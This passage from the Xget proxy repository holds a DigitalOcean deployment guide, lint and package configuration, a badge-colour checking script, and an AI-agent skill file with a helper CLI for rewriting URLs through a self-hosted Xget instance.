sudo nginx -t
sudo systemctl reload nginx
```
Now users can access Xget via `https://xget.example.com` through nginx → Xget container.
### 2.4 Harden security with DigitalOcean Cloud Firewall
To reduce attack surface and abuse risk:
* In Cloud Firewalls:
* Allow inbound only: `22` (SSH), `80` (HTTP) and `443` (HTTPS).
* Do *not* expose `8080` to the public Internet.
* If needed, further restrict:
* Only allow company office IP ranges or CI/CD nodes.
* Combine with a VPN or other gateway if you need more control.
## 3. Option 2: DigitalOcean App Platform (fully managed)
App Platform can run Xget directly from a container image or source code repo. It handles load balancing, TLS, and autoscaling for you, which is great if you don’t want to manage servers.
### 3.1 Basic flow
1. **Prepare the container image**
Two common options:
* Use the official image: `ghcr.io/xixu-me/xget:latest`
* Or mirror/rebuild Xget into DOCR if you want a private registry or faster internal pulls.
2. **Create an App**
In the DigitalOcean control panel:
* Create new App → choose "Container".
* Source:
* DigitalOcean Container Registry *or*
* an external image (`ghcr.io/xixu-me/xget:latest`).
* Set the internal listening port to `8080`.
3. **Configure routing**
* Map external path `/` to the Xget service.
* Bind your domain (e.g. `xget.example.com`) to the app and enable automatic HTTPS.
4. **Scaling**
* In the Scaling section, set minimum number of instances, e.g. 2 replicas for high availability.
* Configure autoscaling based on CPU / memory usage.
### 3.2 Pros and caveats
* **Pros**
* No OS or Docker maintenance.
* Built-in TLS / certificate management.
* Simple scaling and deployment UX.
* **Caveats**
* Xget is sensitive to large download traffic: you should monitor bandwidth and outbound data transfer costs.
* For advanced network control (VPC-only access, strict firewall rules), combine App Platform with Cloud Firewall and VPC.
## 4. Option 3: DigitalOcean Kubernetes (DOKS)
When you need multiple replicas, blue-green deployments, or fine-grained rollout strategies, run Xget on DOKS as a standard `Deployment`.
### 4.1 Example Deployment & Service
> Note: the health check path below uses `/`. If your build of Xget exposes a dedicated health endpoint, adjust accordingly.
```yaml
apiVersion: apps/v1
kind: Deployment
metadata:
name: xget
spec:
replicas: 2
selector:
matchLabels:
app: xget
template:
metadata:
labels:
app: xget
spec:
containers:
- name: xget
image: ghcr.io/xixu-me/xget:latest
ports:
- containerPort: 8080
resources:
requests:
cpu: "250m"
memory: "256Mi"
limits:
cpu: "1"
memory: "512Mi"
readinessProbe:
httpGet:
path: /
port: 8080
initialDelaySeconds: 5
periodSeconds: 10
livenessProbe:
httpGet:
path: /
port: 8080
initialDelaySeconds: 30
periodSeconds: 30
---
apiVersion: v1
kind: Service
metadata:
name: xget
spec:
selector:
app: xget
ports:
- port: 80
targetPort: 8080
type: LoadBalancer
```
* `type: LoadBalancer` will automatically create a DigitalOcean Load Balancer and assign a public IP.
* Point `xget.example.com` to the Load Balancer IP in your DNS.
If you are using an Ingress Controller (nginx Ingress, Traefik, etc.), you can change the service type to `ClusterIP` and configure Ingress + cert-manager for Let’s Encrypt.
## 5. Using DOCR + Xget as an image accelerator
Xget can act as a registry accelerator for multiple container registries, including DigitalOcean Container Registry (DOCR). The typical pattern is:
* Original: `https://registry.digitalocean.com/...`
* Through Xget: `https:///cr/digitalocean/...`
### 5.1 Example: accelerate DOCR pulls
Suppose your DOCR image is:
```text
registry.digitalocean.com/my-registry/my-image:latest
```
You can convert it to:
```text
https://xget.example.com/cr/digitalocean/my-registry/my-image:latest
```
This is especially useful for scripting, diagnostic, or advanced caching setups around DOCR.
### 5.2 Using Xget as a pull accelerator (daemon.json idea)
In some environments you can configure Docker / containerd to use Xget as a registry mirror. For example, in `/etc/docker/daemon.json`:
```json
{
"registry-mirrors": [
"https://xget.example.com/cr/digitalocean"
]
}
```
> Note: Support for non–Docker Hub mirrors depends on the Docker/containerd version and configuration. Treat this as a pattern; always verify behavior in your own environment.
## 6. Using Xget on DigitalOcean to accelerate AI inference and dev dependencies
Xget also supports API acceleration for multiple AI inference providers (e.g., OpenAI, Anthropic, Gemini) through URL conversions such as `ip/`.
Once Xget is deployed on DigitalOcean, simply replace the public demo domain in examples with your own domain:
```env
# .env example
OPENAI_BASE_URL=https://xget.example.com/ip/openai
ANTHROPIC_BASE_URL=https://xget.example.com/ip/anthropic
GEMINI_BASE_URL=https://xget.example.com/ip/gemini
```
Then in your code (Python + OpenAI SDK):
```python
import os
from openai import OpenAI
client = OpenAI(
api_key=os.getenv("OPENAI_API_KEY"),
base_url=os.getenv("OPENAI_BASE_URL"),
)
```
If your CI/CD pipelines or backend services also run on DigitalOcean (Droplets, App Platform, DOKS), they can access Xget very close in network topology, reducing latency and cross-region hops.
## 7. Monitoring, logging, and cost optimization
1. **Monitoring**
* **Droplet**: Install the DigitalOcean Monitoring Agent to track CPU, memory, and bandwidth.
* **App Platform / DOKS**: Use the built-in metrics views and alerts.
* At the application level, you can inspect Xget’s response headers (e.g., performance metrics) to understand cache hits and upstream delays if Xget exposes such information in your setup.
2. **Logging**
* Use `docker logs` or `kubectl logs` to inspect Xget container logs.
* Aggregate nginx / Ingress logs plus Xget logs into a centralized stack (ELK, Loki, etc.) for easier debugging.
3. **Cost optimization**
* Start with a smaller Droplet or the lowest App Platform plan, then scale based on real traffic.
* For very high outbound traffic, focus on:
* Improving cache hit ratio.
* Avoiding redundant upstream requests.
* Choose regions that balance:
* End-user latency.
* Upstream connectivity quality (e.g., to GitHub, DOCR, AI providers).
## 8. Security and abuse prevention
Because Xget is fundamentally a high-performance HTTP / Git / container registry proxy, you need to be careful about abuse:
* Do not expose a completely open, unauthenticated Xget service to the entire public Internet if you don’t fully understand the risk.
* Recommended mitigations:
* Restrict access to trusted IP ranges (office network, VPN, CI/CD nodes).
* Add authentication at the reverse proxy or gateway layer (e.g., Basic Auth, token-based, or JWT).
* Configure reasonable timeouts and concurrency limits to reduce the impact of misuse and protect upstreams.
With these patterns, you can deploy Xget on DigitalOcean using Droplets, App Platform, or Kubernetes, and combine it with DOCR, DNS, and firewalls to build a unified, robust acceleration layer for repositories, container images, and AI inference traffic.
================================================
FILE: eslint.config.js
================================================
import js from '@eslint/js';
import prettierConfig from 'eslint-config-prettier';
import jsdoc from 'eslint-plugin-jsdoc';
export default [
js.configs.recommended,
jsdoc.configs['flat/recommended'],
{
files: ['src/**/*.js', 'test/**/*.js', 'adapters/**/*.js'],
languageOptions: {
ecmaVersion: 2022,
sourceType: 'module',
globals: {
// Cloudflare Workers globals
addEventListener: 'readonly',
caches: 'readonly',
crypto: 'readonly',
fetch: 'readonly',
Request: 'readonly',
Response: 'readonly',
Headers: 'readonly',
URL: 'readonly',
URLSearchParams: 'readonly',
console: 'readonly',
AbortController: 'readonly',
AbortSignal: 'readonly',
setTimeout: 'readonly',
clearTimeout: 'readonly',
setInterval: 'readonly',
clearInterval: 'readonly',
ReadableStream: 'readonly',
WritableStream: 'readonly',
TransformStream: 'readonly',
TextEncoder: 'readonly',
TextDecoder: 'readonly',
performance: 'readonly',
globalThis: 'readonly',
process: 'readonly',
// Vitest globals
describe: 'readonly',
it: 'readonly',
expect: 'readonly',
beforeEach: 'readonly',
afterEach: 'readonly',
beforeAll: 'readonly',
afterAll: 'readonly',
vi: 'readonly'
}
},
settings: {
jsdoc: {
mode: 'typescript',
tagNamePreference: {
returns: 'returns'
}
}
},
rules: {
// JSDoc rules overrides
'jsdoc/require-description': 'warn',
'jsdoc/require-returns': 'off', // Often redundant if return type is void or obvious
'jsdoc/require-param-description': 'off', // Names are often self-explanatory
'jsdoc/no-undefined-types': [
'warn',
{
definedTypes: [
'ExecutionContext',
'Cache',
'RequestInit',
'Request',
'Response',
'Headers',
'URL',
'URLSearchParams',
'AbortController',
'AbortSignal',
'ReadableStream',
'WritableStream',
'TransformStream',
'TextEncoder',
'TextDecoder'
]
}
],
// Code quality rules
'no-unused-vars': [
'error',
{
argsIgnorePattern: '^_',
varsIgnorePattern: '^_'
}
],
'no-console': [
'warn',
{
allow: ['warn', 'error']
}
],
'no-debugger': 'error',
'no-alert': 'error',
// Best practices
eqeqeq: ['error', 'always'],
curly: ['error', 'all'],
'no-eval': 'error',
'no-implied-eval': 'error',
'no-new-func': 'error',
'no-script-url': 'error',
'no-self-compare': 'error',
'no-sequences': 'error',
'no-throw-literal': 'error',
'no-unmodified-loop-condition': 'error',
'no-unused-expressions': 'error',
'no-useless-call': 'error',
'no-useless-concat': 'error',
'no-useless-return': 'error',
'prefer-promise-reject-errors': 'error',
radix: 'error',
yoda: 'error',
// Variables
'no-delete-var': 'error',
'no-label-var': 'error',
'no-restricted-globals': 'error',
'no-shadow': 'error',
'no-shadow-restricted-names': 'error',
'no-undef': 'error',
'no-undef-init': 'error',
'no-use-before-define': [
'error',
{
functions: false,
classes: true,
variables: true
}
],
// Stylistic issues
'array-bracket-spacing': ['error', 'never'],
'block-spacing': ['error', 'always'],
'brace-style': [
'error',
'1tbs',
{
allowSingleLine: true
}
],
camelcase: [
'error',
{
properties: 'never'
}
],
'comma-dangle': ['error', 'never'],
'comma-spacing': [
'error',
{
before: false,
after: true
}
],
'comma-style': ['error', 'last'],
'computed-property-spacing': ['error', 'never'],
'eol-last': ['error', 'always'],
'func-call-spacing': ['error', 'never'],
indent: [
'error',
2,
{
SwitchCase: 1
}
],
'key-spacing': [
'error',
{
beforeColon: false,
afterColon: true
}
],
'keyword-spacing': [
'error',
{
before: true,
after: true
}
],
'linebreak-style': ['error', 'unix'],
'no-multiple-empty-lines': [
'error',
{
max: 2,
maxEOF: 1
}
],
'no-trailing-spaces': 'error',
'object-curly-spacing': ['error', 'always'],
quotes: [
'error',
'single',
{
avoidEscape: true
}
],
semi: ['error', 'always'],
'semi-spacing': [
'error',
{
before: false,
after: true
}
],
'space-before-blocks': ['error', 'always'],
'space-before-function-paren': [
'error',
{
anonymous: 'always',
named: 'never',
asyncArrow: 'always'
}
],
'space-in-parens': ['error', 'never'],
'space-infix-ops': 'error',
'space-unary-ops': [
'error',
{
words: true,
nonwords: false
}
],
// ES6+ rules
'arrow-spacing': [
'error',
{
before: true,
after: true
}
],
'constructor-super': 'error',
'no-class-assign': 'error',
'no-const-assign': 'error',
'no-dupe-class-members': 'error',
'no-duplicate-imports': 'error',
'no-new-symbol': 'error',
'no-this-before-super': 'error',
'no-useless-computed-key': 'error',
'no-useless-constructor': 'error',
'no-useless-rename': 'error',
'no-var': 'error',
'object-shorthand': ['error', 'always'],
'prefer-arrow-callback': 'error',
'prefer-const': 'error',
'prefer-destructuring': [
'error',
{
array: true,
object: true
},
{
enforceForRenamedProperties: false
}
],
'prefer-rest-params': 'error',
'prefer-spread': 'error',
'prefer-template': 'error',
'rest-spread-spacing': ['error', 'never'],
'template-curly-spacing': ['error', 'never']
}
},
prettierConfig, // Disable formatting rules that conflict with Prettier
{
files: ['test/**/*.js'],
rules: {
// Relax some rules for test files
'no-console': 'off',
'no-unused-expressions': 'off'
}
}
];
================================================
FILE: package.json
================================================
{
"dependencies": {
"express": "^5.2.1"
},
"devDependencies": {
"@cloudflare/vitest-pool-workers": "^0.13.3",
"@cloudflare/workers-types": "^4.20260307.1",
"@commitlint/cli": "^20.5.0",
"@commitlint/config-conventional": "^20.5.0",
"@eslint/js": "^10.0.1",
"@vitest/coverage-istanbul": "^4.1.0",
"eslint": "^10.0.3",
"eslint-config-prettier": "^10.1.8",
"eslint-plugin-jsdoc": "^62.8.0",
"istanbul-lib-coverage": "^3.2.2",
"istanbul-lib-report": "^3.0.1",
"istanbul-reports": "^3.2.0",
"prettier": "^3.8.1",
"simple-git-hooks": "^2.13.1",
"typescript": "^5.9.3",
"vitest": "^4.1.0",
"wrangler": "^4.76.0"
},
"name": "xget",
"license": "AGPL-3.0-or-later",
"private": false,
"scripts": {
"commitlint": "commitlint --last --verbose",
"commitmsg": "commitlint --edit",
"deploy": "wrangler deploy",
"dev": "wrangler dev",
"format": "prettier --write src/ test/ *.js *.json",
"format:check": "prettier --check src/ test/ *.js *.json",
"lint": "eslint src/ test/ adapters/",
"lint:fix": "eslint src/ test/ adapters/ --fix",
"prepare": "simple-git-hooks",
"start": "wrangler dev",
"test": "vitest",
"test:coverage": "vitest run --config vitest.coverage.config.js --coverage",
"test:run": "vitest run",
"test:ui": "vitest --ui",
"test:watch": "vitest --watch",
"type-check": "tsc --noEmit"
},
"simple-git-hooks": {
"commit-msg": "npx commitlint --edit $1"
},
"type": "module",
"version": "1.0.0"
}
================================================
FILE: scripts/fix-badge-colors.js
================================================
import { readFileSync, writeFileSync } from 'fs';
import { dirname, join } from 'path';
import { fileURLToPath } from 'url';
const __filename = fileURLToPath(import.meta.url);
const __dirname = dirname(__filename);
// Check if --fix flag is provided
const shouldFix = process.argv.includes('--fix');
// Extract badge info from README file
/**
*
* @param filePath
*/
function extractBadgeInfo(filePath) {
const content = readFileSync(filePath, 'utf8');
const badgeRegex =
/\[!\[.*?\]\(https:\/\/img\.shields\.io\/badge\/(.*?)-([0-9A-Fa-f]{6})\?.*?logo=([a-z0-9-]+)/gi;
const badges = {};
let match;
while ((match = badgeRegex.exec(content)) !== null) {
const fullMatch = match[0];
const label = match[1];
const color = match[2];
const logo = match[3];
// Normalize logo name (lowercase and remove dashes for Simple Icons lookup)
const normalizedLogo = logo.toLowerCase().replace(/-/g, '');
if (!badges[normalizedLogo]) {
badges[normalizedLogo] = {
color: color,
logo: logo,
label: label,
fullMatch: fullMatch
};
}
}
return badges;
}
// Fix badge colors in README file
/**
*
* @param filePath
* @param colorChanges
*/
function fixBadgeColors(filePath, colorChanges) {
let content = readFileSync(filePath, 'utf8');
let changeCount = 0;
for (const [logo, change] of Object.entries(colorChanges)) {
const oldColor = change.current.toUpperCase();
const newColor = change.official.toUpperCase();
// Create regex to match badges with this logo and old color
const badgeRegex = new RegExp(
`(\\[!\\[.*?\\]\\(https:\\/\\/img\\.shields\\.io\\/badge\\/.*?-)${oldColor}(\\?.*?logo=${change.logoName})`,
'gi'
);
const newContent = content.replace(badgeRegex, `$1${newColor}$2`);
if (newContent !== content) {
changeCount++;
content = newContent;
console.log(` ✅ Fixed ${logo}: ${oldColor} → ${newColor}`);
}
}
if (changeCount > 0) {
writeFileSync(filePath, content, 'utf8');
return changeCount;
}
return 0;
}
/**
*
*/
async function fetchSimpleIcons() {
const response = await fetch(
'https://raw.githubusercontent.com/simple-icons/simple-icons/refs/heads/develop/data/simple-icons.json'
);
const icons = await response.json();
// Create a map of slug -> hex color
const iconMap = {};
icons.forEach(icon => {
// Use slug if available, otherwise generate from title
const slug = icon.slug || icon.title.toLowerCase().replace(/[^a-z0-9]/g, '');
iconMap[slug] = icon.hex;
});
return iconMap;
}
/**
*
* @param filePath
* @param simpleIcons
*/
function checkReadme(filePath, simpleIcons) {
const fileName = filePath.split(/[\\/]/).pop();
const currentBadges = extractBadgeInfo(filePath);
console.log(`\n${'='.repeat(80)}`);
console.log(`📄 ${fileName}`);
console.log('='.repeat(80));
console.log(
'Logo Name'.padEnd(25) + 'Current Color'.padEnd(20) + 'Official Color'.padEnd(20) + 'Status'
);
console.log('='.repeat(80));
let totalChecked = 0;
let correctCount = 0;
let incorrectCount = 0;
const issues = {};
for (const [logo, badgeInfo] of Object.entries(currentBadges)) {
totalChecked++;
const currentColor = badgeInfo.color;
const officialColor = simpleIcons[logo];
if (!officialColor) {
console.log(
`${logo.padEnd(25)}${currentColor.padEnd(20)}${'NOT FOUND'.padEnd(20)}⚠️ Missing`
);
continue;
}
const currentUpper = currentColor.toUpperCase();
const officialUpper = officialColor.toUpperCase();
if (currentUpper === officialUpper) {
console.log(
`${logo.padEnd(25)}${currentColor.padEnd(20)}${officialColor.padEnd(20)}✅ Correct`
);
correctCount++;
} else {
console.log(
`${logo.padEnd(25)}${currentColor.padEnd(20)}${officialColor.padEnd(20)}❌ Mismatch`
);
incorrectCount++;
issues[logo] = {
current: currentColor,
official: officialColor,
logoName: badgeInfo.logo
};
}
}
console.log('='.repeat(80));
console.log(`\nSummary for ${fileName}:`);
console.log(`Total badges checked: ${totalChecked}`);
console.log(`✅ Correct: ${correctCount}`);
console.log(`❌ Incorrect: ${incorrectCount}`);
if (Object.keys(issues).length > 0) {
console.log('\n🔧 Badges that need updating:\n');
Object.entries(issues).forEach(([logo, issue]) => {
console.log(`${logo}:`);
console.log(` Current: ${issue.current}`);
console.log(` Official: ${issue.official}`);
console.log(` Change: ${issue.current} → ${issue.official}\n`);
});
if (shouldFix) {
console.log('🔧 Applying fixes...\n');
const fixedCount = fixBadgeColors(filePath, issues);
console.log(`✅ Fixed ${fixedCount} badge(s) in ${fileName}`);
}
} else {
console.log('\n🎉 All badge colors are correct!');
}
return issues;
}
/**
*
*/
async function main() {
console.log('Fetching Simple Icons data...\n');
const simpleIcons = await fetchSimpleIcons();
const readmes = [
join(__dirname, '..', 'README.md'),
join(__dirname, '..', 'README.zh-Hans.md'),
join(__dirname, '..', 'README.zh-Hant.md')
];
let anyIssues = false;
for (const readmePath of readmes) {
const issues = checkReadme(readmePath, simpleIcons);
if (Object.keys(issues).length > 0) anyIssues = true;
}
if (anyIssues && !shouldFix) {
console.log('\n💡 Tip: Run with --fix flag to automatically fix all mismatches:');
console.log(' node scripts/fix-badge-colors.js --fix\n');
} else if (!anyIssues) {
console.log('\n🎉 All badge colors across all READMEs are correct!');
} else {
console.log('\n🎉 All badge colors have been fixed!');
}
}
main().catch(console.error);
================================================
FILE: skills/xget/SKILL.md
================================================
---
name: xget
description:
Execute Xget work in real developer workflows. Use this skill when a task
involves Xget URL rewriting, registry/package/container/API acceleration,
integrating Xget into Git, download tools, package managers, container builds,
AI SDKs, CI/CD, deployment, or self-hosting, or adapting commands and config
from the live README `Use Cases` section into the user's files, environment,
shell, or base URL.
---
# Xget
Default to execution, not instruction. When the user expresses execution intent,
carry the change through directly: run the needed shell commands, edit the real
files, and verify the result instead of only replying with example commands.
Treat requests like "configure", "set up", "wire", "change", "add", "fix",
"migrate", "deploy", "run", or "make this use Xget" as execution intent unless
the user clearly asks for explanation only.
Resolve the base URL first:
1. use a domain the user explicitly gave
2. otherwise use `XGET_BASE_URL` from the environment
3. if neither exists, ask for the user's Xget base URL and whether it should be
set temporarily for the current shell/session or persistently for future
shells
4. use `https://xget.example.com` only as a clearly labeled placeholder for docs
or templates that do not have a real deployment yet
Prefer `scripts/xget.mjs` over manual guessing for live platform data, URL
conversion, and README `Use Cases` lookup.
Only stop to ask when a missing fact blocks safe execution, such as an unknown
real base URL for a command that must run against a live deployment. If the
user only needs docs or templates, use the placeholder path rules below.
## Workflow
1. Classify the task before reaching for examples:
- execution intent: the user wants commands run, files changed, or config
applied now
- guidance intent: the user explicitly wants examples, explanation, or a
template without applying it yet
- then bucket the technical area: one-off URL conversion or prefix lookup;
Git or download-tool acceleration; package-manager or language-ecosystem
configuration; container image, Dockerfile, Kubernetes, or CI/CD
acceleration; AI SDK / inference API base-URL configuration; deploying or
self-hosting Xget itself
2. Complete the base-URL preflight above. If the user wants help setting
`XGET_BASE_URL`, open [the reference guide](references/REFERENCE.md) and:
- when the user asked you to set or wire it, run the shell-appropriate
temporary or persistent commands directly when the environment allows it
- when you cannot safely execute, ask the smallest blocking question or give
the exact command with the missing value clearly called out
3. Pull live README guidance in two steps instead of loading the whole section
by default:
- list candidate headings with `node scripts/xget.mjs topics --format json`
- narrow with `--match` or fetch a specific section with
`node scripts/xget.mjs snippet --base-url https://xget.example.com --heading "Docker Compose Configuration" --format text`
4. Prefer the smallest relevant live subsection. If a repeated child heading
like `Use in Project` is ambiguous, fetch its parent section instead.
5. Adapt the live guidance to the user's real task:
- for execution intent, apply the change end-to-end instead of stopping at
example commands
- run commands yourself when the request is to install, configure, rewrite,
switch, migrate, test, or otherwise perform the change
- edit the actual config or source files when the user wants implementation,
not just explanation
- keep shell commands aligned with the user's OS and shell
- preserve existing project conventions unless the user asked for a broader
rewrite
- after changing files or running commands, perform a lightweight
verification step when practical
6. Refresh the live platform map with
`node scripts/xget.mjs platforms --format json` when the answer depends on
current prefixes, and use `convert` for exact URL rewrites.
7. Combine multiple live sections when the workflow spans multiple layers. For
example, pair a package-manager section with container, deployment, or `.env`
guidance when the user's project needs more than one integration point.
8. Before finishing, sanity-check that every command, file edit, or example uses
the right Xget path shape:
- repo/content: `/{prefix}/...`
- crates.io HTTP URLs: `/crates/...` rather than `/crates/api/v1/crates/...`
- inference APIs: `/ip/{provider}/...`
- OCI registries: `/cr/{registry}/...`
9. If the live platform fetch fails or an upstream URL does not match any known
platform, say so explicitly and fall back to the stable guidance in
[references/REFERENCE.md](references/REFERENCE.md) instead of inventing a
prefix.
================================================
FILE: skills/xget/references/REFERENCE.md
================================================
# Xget Reference
Use this file only when the user needs shell setup, deployment, or
troubleshooting details. Reuse the base URL already resolved from `SKILL.md`,
and keep `https://xget.example.com` as a placeholder only for docs or templates.
## Configuring `XGET_BASE_URL`
Ask which shell the user is using before giving commands when it is unclear.
Offer one of these two setup modes:
### Temporary (current shell or session)
- PowerShell:
```powershell
$env:XGET_BASE_URL = "https://xget.example.com"
```
- bash / zsh:
```bash
export XGET_BASE_URL="https://xget.example.com"
```
- fish:
```fish
set -x XGET_BASE_URL https://xget.example.com
```
### Persistent (future shells)
- PowerShell profile:
```powershell
if (!(Test-Path $PROFILE)) { New-Item -ItemType File -Path $PROFILE -Force | Out-Null }
Add-Content $PROFILE '$env:XGET_BASE_URL = "https://xget.example.com"'
```
- bash:
```bash
echo 'export XGET_BASE_URL="https://xget.example.com"' >> ~/.bashrc
```
- zsh:
```bash
echo 'export XGET_BASE_URL="https://xget.example.com"' >> ~/.zshrc
```
- fish:
```fish
set -Ux XGET_BASE_URL https://xget.example.com
```
After a persistent change, remind the user to open a new shell or reload their
profile before retrying commands.
## Live platform source
The authoritative platform list for this skill comes from:
`https://raw.gitcode.com/xixu-me/xget/raw/main/src/config/platform-catalog.js`
Fetch it from the repository root with:
```bash
node scripts/xget.mjs platforms --format json
```
## README `Use Cases` section
List the latest README `Use Cases` headings first:
```bash
node scripts/xget.mjs topics --format text
```
Narrow the list when the user's task is obvious:
```bash
node scripts/xget.mjs topics --match docker --format text
```
Fetch only the smallest relevant live subsection and rewrite the public demo
domain to your resolved base URL:
```bash
node scripts/xget.mjs snippet --base-url https://xget.example.com --heading "Docker Compose Configuration" --format text
```
If `XGET_BASE_URL` is already configured, the skill can omit `--base-url` and
read from the environment instead.
If a heading is repeated, such as `Use in Project`, fetch its parent section
instead of relying on the ambiguous child title alone.
When the right section is not obvious, prefer `topics --match `
over maintaining a second static map in the skill docs. Typical matches are
package managers (`npm`, `pip`, `cargo`), runtime tools (`docker`, `kubernetes`,
`github actions`), AI providers (`openai`, `anthropic`, `gemini`), or hosting
targets (`cloudflare`, `vercel`, `netlify`, `docker compose`).
## Execute instead of paraphrase
When the user wants a change in a real project, adapt the live README snippet to
the target file and run the necessary commands instead of pasting generic
examples back:
- `.npmrc`, `pip.conf`, `NuGet.Config`, `.cargo/config.toml`, `.condarc`
- `Dockerfile`, `docker-compose.yml`, Kubernetes manifests, GitHub Actions
workflows
- `.env`, SDK initialization code, shell profile files
Treat phrasing like "configure this", "change it", "wire it in", "switch to
Xget", "run this", "fix it", or "deploy it" as a cue to execute. Only fall back
to example commands when the user explicitly asks for examples or a missing fact
prevents safe execution.
## Deployment
For deployment guidance, use the README section on deployment in the:
[Xget deployment guide](https://github.com/xixu-me/xget?tab=readme-ov-file#-deployment)
## Troubleshooting heuristics
- `404` on converted URLs often means the wrong prefix or an unmatched upstream
platform.
- crates.io conversions should strip the upstream `/api/v1/crates` prefix before
adding `/crates/...`.
- pip issues often come from adding `trusted-host` unnecessarily or pointing it
at the wrong host.
- Docker examples must use `/cr/{registry}` prefixes, not plain `/{prefix}`.
- AI SDK examples usually need the Xget base URL changed but keep the original
API key behavior.
- If the user asks for the “latest” supported platform, refresh the live
platform map before answering.
================================================
FILE: skills/xget/scripts/xget.mjs
================================================
#!/usr/bin/env node
import { get } from 'node:https';
import { relative } from 'node:path';
import process from 'node:process';
import { pathToFileURL } from 'node:url';
const DEFAULT_SOURCE_URL =
'https://raw.gitcode.com/xixu-me/xget/raw/main/src/config/platform-catalog.js';
const DEFAULT_README_URL = 'https://raw.githubusercontent.com/xixu-me/xget/main/README.md';
const DEFAULT_BASE_PLACEHOLDER = 'https://xget.example.com';
const DEFAULT_PUBLIC_BASE_URL = 'https://xget.xi-xu.me';
const DEFAULT_PUBLIC_HOST = 'xget.xi-xu.me';
const README_USE_CASES_HEADING = '## 🎯 Use Cases';
const MISSING_BASE_URL_HINT =
`Missing --base-url and XGET_BASE_URL. Ask for the user's Xget base URL and whether ` +
`to set it temporarily or persistently. For docs-only placeholders, use ${DEFAULT_BASE_PLACEHOLDER}.`;
const CRATES_API_PREFIX = '/api/v1/crates';
/**
* @typedef {'resource' | 'registry' | 'inference'} PlatformCategory
*/
/**
* @typedef {{ key: string, upstream: string, pathPrefix: string, category: PlatformCategory }} PlatformEntry
*/
/**
* @typedef {{
* help?: boolean,
* format?: string,
* heading?: string,
* match?: string,
* url?: string,
* 'source-url'?: string,
* 'base-url'?: string,
* 'readme-url'?: string,
* [key: string]: string | boolean | undefined
* }} CliOptions
*/
/**
* @typedef {{ command: string, options: CliOptions }} ParsedArgs
*/
/**
* @typedef {{
* index: number,
* level: number,
* text: string,
* raw: string,
* parent: string | null
* }} MarkdownHeading
*/
/**
* @typedef {{
* section: string,
* heading: string,
* baseUrl: string,
* content: string
* }} UseCasesSnippet
*/
function getInvocationCommand() {
const scriptPath = process.argv[1];
if (!scriptPath) {
return 'node scripts/xget.mjs';
}
const relativePath = relative(process.cwd(), scriptPath).replace(/\\/g, '/');
const displayPath =
relativePath && !relativePath.startsWith('..') ? relativePath : scriptPath.replace(/\\/g, '/');
return `node ${displayPath}`;
}
function printHelp() {
const invocation = getInvocationCommand();
console.log(`Usage: ${invocation} [options]
Commands:
platforms Fetch the live Xget platform map.
convert Convert an upstream URL to an Xget URL.
topics List headings from the README Use Cases section.
snippet Fetch the README Use Cases section or a subsection.
help Show this message.
Global options:
--source-url URL Override the remote platform source URL.
--format FORMAT json (default), text, or table when supported.
--help Show command help.
platforms options:
--format json|table
convert options:
--base-url URL Xget base URL. Defaults to XGET_BASE_URL.
--url URL Upstream URL to convert.
--format json|text
topics options:
--readme-url URL Override the remote README markdown URL.
--match TEXT Filter headings by case-insensitive text match.
--format json|text
snippet options:
--base-url URL Xget base URL. Defaults to XGET_BASE_URL and
rewrites README examples to match it.
--readme-url URL Override the remote README markdown URL.
--heading TEXT Exact heading inside the Use Cases section.
--match TEXT Case-insensitive heading filter inside Use Cases.
--format json|text
Examples:
${invocation} platforms --format table
${invocation} convert --base-url https://xget.example.com --url https://github.com/microsoft/vscode
${invocation} topics --match docker --format text
${invocation} snippet --base-url https://xget.example.com --heading "Docker Compose Configuration" --format text
`);
}
/**
* @param {string[]} argv
* @returns {ParsedArgs}
*/
function parseArgs(argv) {
const [command = 'help', ...rest] = argv;
if (command === '--help') {
return { command: 'help', options: { help: true } };
}
/** @type {CliOptions} */
const options = {};
for (let index = 0; index < rest.length; index += 1) {
const token = rest[index];
if (!token.startsWith('--')) {
fail(`Unexpected argument "${token}". Use --help for supported options.`, 2);
}
const key = token.slice(2);
if (key === 'help') {
options.help = true;
continue;
}
const value = rest[index + 1];
if (!value || value.startsWith('--')) {
fail(`Missing value for --${key}.`, 2);
}
options[key] = value;
index += 1;
}
return { command, options };
}
/**
* @param {unknown} error
* @returns {string}
*/
function getErrorMessage(error) {
return error instanceof Error ? error.message : String(error);
}
/**
* @param {string} message
* @param {number} [code]
* @returns {never}
*/
function fail(message, code = 1) {
console.error(`Error: ${message}`);
process.exit(code);
}
/**
* Parses a platform map object literal from repository source.
* Supports the simple `key: 'value'` form used by the Xget platform catalog.
* @param {string} objectSource
* @returns {Record}
*/
function parsePlatformMapObject(objectSource) {
/** @type {Record} */
const platforms = {};
for (const rawLine of objectSource.split(/\r?\n/)) {
const line = rawLine.trim();
if (!line || line === '{' || line === '}' || line.startsWith('//')) {
continue;
}
const match = line.match(
/^(?:'([^']+)'|"([^"]+)"|([A-Za-z0-9_-]+))\s*:\s*(?:'([^']*)'|"([^"]*)")\s*,?$/
);
if (!match) {
throw new Error(`unsupported platform entry: ${line}`);
}
const key = match[1] || match[2] || match[3];
const value = match[4] || match[5] || '';
platforms[key] = value;
}
return platforms;
}
/**
* @param {string} url
* @returns {Promise}
*/
function httpGet(url) {
return new Promise((resolve, reject) => {
get(url, response => {
if (
response.statusCode &&
response.statusCode >= 300 &&
response.statusCode < 400 &&
response.headers.location
) {
resolve(httpGet(response.headers.location));
return;
}
if (response.statusCode !== 200) {
reject(new Error(`Unexpected HTTP status ${response.statusCode} for ${url}`));
response.resume();
return;
}
let body = '';
response.setEncoding('utf8');
response.on('data', chunk => {
body += chunk;
});
response.on('end', () => resolve(body));
}).on('error', reject);
});
}
/**
* @param {string} jsSource
* @returns {Record}
*/
export function extractPlatformsModule(jsSource) {
const platformExportPatterns = [
{
name: 'PLATFORM_CATALOG',
pattern: /export const PLATFORM_CATALOG = (\{[\s\S]*?\n\});/
},
{
name: 'PLATFORMS',
pattern: /export const PLATFORMS = (\{[\s\S]*?\n\});/
}
];
for (const { name, pattern } of platformExportPatterns) {
const match = jsSource.match(pattern);
if (!match) {
continue;
}
try {
return parsePlatformMapObject(match[1]);
} catch (error) {
fail(`Could not parse remote ${name} object: ${getErrorMessage(error)}`);
}
}
fail('Could not find `export const PLATFORM_CATALOG = {...}` or `PLATFORMS = {...}`.');
}
/**
* @param {Record} platforms
* @returns {PlatformEntry[]}
*/
export function createPlatformEntries(platforms) {
return Object.entries(platforms)
.sort(([left], [right]) => left.localeCompare(right))
.map(([key, upstream]) => ({
key,
upstream,
pathPrefix: `/${key.replace(/-/g, '/')}/`,
category: key.startsWith('ip-')
? 'inference'
: key.startsWith('cr-')
? 'registry'
: 'resource'
}));
}
/**
* @param {string} jsSource
